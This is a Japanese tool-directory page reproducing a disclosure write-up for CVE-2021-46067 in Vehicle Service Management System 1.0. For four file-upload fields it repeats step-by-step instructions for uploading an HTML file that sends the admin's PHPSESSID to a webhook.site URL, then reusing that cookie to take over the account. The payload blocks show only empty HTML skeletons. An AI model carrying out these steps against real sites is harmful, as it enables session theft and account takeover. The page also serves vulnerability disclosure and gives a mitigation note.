Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover — CVE-2021-46067 - Vehicle Service Management System 1.0では、攻撃者がCookieを盗み取り、完全なアカウント乗っ取りに至る可能性があります。 | Kitploit
ツール/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubsanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover

Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover

CVE-2021-46067 - Vehicle Service Management System 1.0では、攻撃者がCookieを盗み取り、完全なアカウント乗っ取りに至る可能性があります。

リポジトリを見る
34ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-46067

エクスプロイトタイトル: Vehicle Service Management System -「複数」の Cookie 窃取による完全なアカウント乗っ取り

エクスプロイト作者: SANU P.L

CVE: CVE-2021-46067

CVSS: 9.8 CRITICAL

参照:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46067
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46067

説明:

Vehicle Service Management System 1.0 では、攻撃者が Cookie を窃取することで、完全なアカウント乗っ取り（Full Account Takeover）につながる可能性があります。

1. Vehicle Service Management System -「マイアカウント」 (/admin/?page=user)

エクスプロイト:

  1. 管理パネルにログインする http://localhost/vehicle_service/admin
  2. 「マイアカウント」セクションに移動する http://localhost/vehicle_service/admin/?page=user
  3. Webhook URL を生成する - https://webhook.site
  4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 上記の html コードを保存する（例：Cookie Stealing.html）
  2. 「マイアカウント」セクションで必要な詳細をすべて入力し、Avatar で html ファイルを参照する。
  3. 更新ボタンをクリックする。
  4. アバター画像を新しいタブで開き、Webhook のステータスを確認する。
  5. リクエストが取得でき、そこに PHPSESSID が含まれている。
  6. PHPSESSID の値をコピーし、別のブラウザを開く。
  7. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  8. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
  9. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  10. アカウントに正常にログインする。アカウント乗っ取りが成功する。

2. Vehicle Service Management System -「ユーザー一覧」 (/admin/?page=user/manage_user)

エクスプロイト:

  1. 管理パネルにログインする http://localhost/vehicle_service/admin
  2. 「ユーザー一覧」セクションに移動し、「新規作成」ボタンをクリックする。
  3. Webhook URL を生成する - https://webhook.site
  4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 上記の html コードを保存する（例：Cookie Stealing.html）
  2. 「新規ユーザー作成」セクションで必要な詳細をすべて入力し、Avatar で html ファイルを参照する。
  3. 保存ボタンをクリックする。
  4. アバター画像を新しいタブで開き、Webhook のステータスを確認する。
  5. リクエストが取得でき、そこに PHPSESSID が含まれている。
  6. PHPSESSID の値をコピーし、別のブラウザを開く。
  7. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  8. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
  9. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  10. アカウントに正常にログインする。アカウント乗っ取りが成功する。

3. Vehicle Service Management System -「設定-システムロゴ」 (/admin/?page=system_info)

エクスプロイト:

  1. 管理パネルにログインする http://localhost/vehicle_service/admin
  2. 「設定」セクションに移動する http://localhost/vehicle_service/admin/?page=system_info
  3. Webhook URL を生成する - https://webhook.site
  4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 上記の html コードを保存する（例：Cookie Stealing.html）
  2. 「設定」セクションで必要な詳細をすべて入力し、System Logo で html ファイルを参照する。
  3. 更新ボタンをクリックする。
  4. システムロゴ画像を新しいタブで開き、Webhook のステータスを確認する。
  5. リクエストが取得でき、そこに PHPSESSID が含まれている。
  6. PHPSESSID の値をコピーし、別のブラウザを開く。
  7. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  8. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
  9. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  10. アカウントに正常にログインする。アカウント乗っ取りが成功する。

4. Vehicle Service Management System -「設定-ウェブサイトカバー」 (/admin/?page=system_info)

エクスプロイト:

  1. 管理パネルにログインする http://localhost/vehicle_service/admin
  2. 「設定」セクションに移動する http://localhost/vehicle_service/admin/?page=system_info
  3. Webhook URL を生成する - https://webhook.site
  4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 上記の html コードを保存する（例：Cookie Stealing.html）
  2. 「設定」セクションで必要な詳細をすべて入力し、Website Cover で html ファイルを参照する。
  3. 更新ボタンをクリックする。
  4. ウェブサイトカバー画像を新しいタブで開き、Webhook のステータスを確認する。
  5. リクエストが取得でき、そこに PHPSESSID が含まれている。
  6. PHPSESSID の値をコピーし、別のブラウザを開く。
  7. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  8. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
  9. 管理パネルにアクセスする http://localhost/vehicle_service/admin
  10. アカウントに正常にログインする。アカウント乗っ取りが成功する。

影響:

攻撃者が悪意のある html ファイルをアップロードすると、サードパーティのウェブサイトにリダイレクトされ、リクエスト内で Cookie が露出します。これにより、完全なアカウント乗っ取りにつながります。

緩和策:

ファイルアップロード機能を検証し、セッション内で二次チェックを実行することを推奨します。

ツールをダウンロード